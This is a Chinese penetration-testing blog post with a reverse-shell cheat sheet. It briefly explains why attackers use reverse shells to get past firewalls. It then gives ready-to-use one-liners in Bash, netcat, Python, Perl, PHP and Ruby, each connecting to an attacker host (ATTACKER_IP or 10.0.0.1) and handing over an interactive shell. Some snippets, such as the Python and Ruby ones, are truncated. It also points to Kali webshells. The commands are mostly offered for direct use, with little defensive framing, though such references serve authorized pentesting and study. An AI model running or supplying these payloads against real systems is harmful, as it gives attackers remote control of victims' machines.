SWRhapsody

不定时更新

反弹shell用于因防火墙等因素使得目标机器不能使用bind shell（防火墙会阻止你连接），转而攻击者开放端口让目标机器连接。

Cheat Sheet

Bash:

```
bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1
```

这个命令使用后反弹shell的机器用 `ctrl+c` 是没有用的，首先 `&>` 和 `>&` 作用是一样的， `&` 在这里是标准输出和错误输出，这个指令将输入，输出和错误输出全部重定向了。

```
exec 195<>/dev/tcp/ATTACKER_IP/ATTACKER_PORT;0<&195;sh <&195 >&195 2>&195
```

稍微解释下这个命令，”<>”是打开个 read-write file descriptor，命令中的195可以换成其他的未被占用的文件描述符。

```
nc -l -p 1234 -vv
nc -l -p 4321 -vv
nc  ATTACKER_IP 1234  |  /bin/bash  |  nc ATTACKER_IP 4321
```

攻击者开放两个端口，一个输命令一个接收结果

Python:

```
python -c '
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("ATTACKER_IP",PORT));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
```

SWRhapsody

```
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i))){open(STDIN,">&S");open(STDOUT,">&S");
open(STDERR,">&S");exec("/bin/sh -i");};'
```

PHP:

```
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
```

如果 1，2，3不起作用就换 4，5，6...

Ruby:

```
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%
```

不同语言的shell适用不同的场景，如FreeBSD默认的shell是tcsh而不是Bash，同时目标可能不自带Python或Netcat。

另外kali Linux的 `/usr/share/webshells/` 下有些webshell如果可以上传到靶机也可以使用

参考：

[1]http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

分类： CHEAT SHEET PENETRATION TEST

0 条评论

发表评论

名称 *

SWRhapsody

网站

在想些什么?

发表评论

近期文章

- 携程Apollo YAML 反序列化
- CVE-2020-5410
- CodeQL部分源码简读
- 服务器与网关的不一致
- CodeQL 部分使用记录

近期评论

文章归档

- 2020年8月
- 2020年6月
- 2020年5月
- 2020年3月
- 2020年1月

SWRhapsody

2019年11月

2019年8月

2019年7月

2019年5月

2019年4月

2019年1月

2018年11月

2018年10月

2018年9月

2018年4月

2018年3月

2018年2月

2018年1月

分类目录

Article Collection

Cheat Sheet

cryptography

Exercise

Exploit

HackTheBox

Penetration Test

Uncategorized

相关文章

PENETRATION TEST

服务器与网关的不一致

前言 一次渗透测试时遇到的，官方认为不是漏洞。 Code 遇到了大约这 阅读更多…

CHEAT SHEET

CodeQL 部分使用记录

前言 CodeQL 是一个代码分析引擎，主要原理是通过对代码进行构建并 阅读更多…

CHEAT SHEET

Wpscan

记录些收集的wpscan的cheat sheet 和一些对wordpr 阅读更多…